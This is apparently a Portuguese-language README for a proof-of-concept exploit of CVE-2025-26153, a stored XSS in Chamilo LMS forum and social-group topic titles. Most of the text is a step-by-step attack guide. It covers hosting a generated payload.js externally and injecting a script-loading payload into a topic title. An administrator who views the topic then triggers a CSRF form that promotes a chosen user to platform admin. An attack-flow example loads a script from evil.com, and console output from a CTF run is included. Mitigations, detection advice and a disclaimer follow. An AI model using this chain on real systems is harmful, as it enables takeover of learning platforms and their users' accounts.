Chamilo LMS (<= v2.0) - POC de XSS Armazenado para Escalada de Privilégios [CVE-2025-26153]
Visão Geral
Este repositório contém uma prova de conceito demonstrando uma vulnerabilidade de cross-site scripting (XSS) armazenado no Chamilo LMS que pode ser explorada para obter escalada de privilégios de um usuário comum para administrador da plataforma.
Esta vulnerabilidade está indexada e corrigida: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Detalhes da Vulnerabilidade
- Aplicação: Chamilo LMS <= v2.0
- Tipo de Vulnerabilidade: XSS armazenado levando à Escalada de Privilégios
Detalhes Técnicos
Locais do Código Vulnerável:
-
/public/main/forum/forumqualify.php - Linha 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
-
/public/main/forum/viewforum.php - Linha 369
.$thread->getTitle().'</a>';
-
Há mais!
Causa Raiz:
- Os títulos dos tópicos do fórum são armazenados sem sanitização adequada
- Os títulos dos tópicos são exibidos sem escape de HTML em vários locais
- Não há Política de Segurança de Conteúdo (CSP) impedindo a execução de XSS
Guia Passo a Passo de Escalada de Privilégios
Fase 1: Coleta de Dados
Passo 1: Coletar Informações do Usuário Alvo
- Faça login no Chamilo LMS
- Navegue até
Rede Social -> Dados Pessoais
- Abra
user_info e anote as seguintes informações:
- ID do usuário
- Nome de usuário
- Nome
- Sobrenome
- Endereço de e-mail
Passo 2: Gerar Payload Personalizado
- Execute o gerador de payload:
python generate_payload.py
- Insira o ID do usuário alvo do Passo 1
- Insira as informações de descrição que você não deseja alterar (ou especifique novos valores)
- O script gerará um arquivo
payload.js personalizado
Passo 3: Hospedar Payload Externamente
- Carregue o
payload.js gerado para um serviço de hospedagem público:
- GitHub Gist (recomendado)
- GitHub Pages
- Seu próprio servidor web
- Anote a URL direta para o arquivo de payload
Fase 2: Injeção e Execução de XSS
Passo 4: Acessar Grupos Sociais
- Faça login no Chamilo LMS (pode ser com qualquer conta de usuário)
- Navegue até
Rede Social -> Grupos sociais
Passo 5: Entrar ou Criar Grupo Social
- Entre em um grupo social existente ou
- Crie um novo grupo social, se necessário
Passo 6: Implantar Payload de XSS
- Crie um novo tópico no grupo social
- No campo de título do tópico, insira o seguinte payload de XSS:
eval(x.responseText);x.send()">
- Substitua
YOUR-HOST-SERVER pela sua URL de hospedagem real
- Envie o tópico
Passo 7: Acionar a Escalada de Privilégios
- Aguarde um usuário com privilégios de administrador visualizar o grupo social
- Quando o administrador visualizar o tópico malicioso, o payload de XSS é executado automaticamente em segundo plano
- A escalada de privilégios NÃO ocorre silenciosamente - o administrador será redirecionado para a lista de usuários
- O usuário alvo especificado será promovido a administrador da plataforma sem nenhuma indicação visível
Fase 3: Verificação
Passo 8: Confirmar a Escalada de Privilégios
- Faça login como o usuário alvo
- Verifique se os privilégios de administrador foram concedidos
- Confirme o acesso às funções administrativas
Uso do Gerador de Payload
O script generate_payload.py permite personalizar o ataque de escalada de privilégios:
Parâmetros de Entrada:
- ID do usuário alvo
- Novo nome de usuário
- Nova senha (opcional)
- Código oficial
- Endereço de e-mail
- Nome, sobrenome, telefone (opcional)
Exemplo de Fluxo de Ataque
1. Attacker creates malicious forum thread
└── Title: <script src=//evil.com/payload.js></script>
2. Admin user browses forum and views thread
└── Browser loads and executes external JavaScript
3. Payload creates hidden form with privilege escalation data
└── Targets specific User ID for promotion to admin
4. Form auto-submits via CSRF attack
└── Uses admin's session cookies automatically
5. Target user becomes platform administrator
└── Attacker gains full platform control
Estratégias de Mitigação
-
Sanitização de Entrada
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
-
Codificação de Saída
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
-
Política de Segurança de Conteúdo
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Soluções de Longo Prazo
- Implementar um framework abrangente de validação de entrada
- Revisões regulares de segurança no código
- Testes automatizados de segurança no pipeline de CI/CD
- Treinamento de segurança para a equipe de desenvolvimento
Detecção e Monitoramento
Análise de Logs
Monitore:
- Criações/modificações incomuns de usuários administradores
- Títulos suspeitos de tópicos do fórum contendo HTML/JavaScript
- Carregamento de scripts externos a partir de domínios não confiáveis
Aviso Legal
AVISO LEGAL IMPORTANTE
Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados.
- Use apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar
- O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições
- Esta pesquisa tem como objetivo ajudar organizações a melhorar sua postura de segurança
- Os autores não são responsáveis por qualquer uso indevido destas informações
Créditos da Pesquisa
Descoberta e Análise: US Cyber Combine
Ambiente de Teste: USCG CTF Environment
Saída do Console do Ataque Bem-sucedido:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200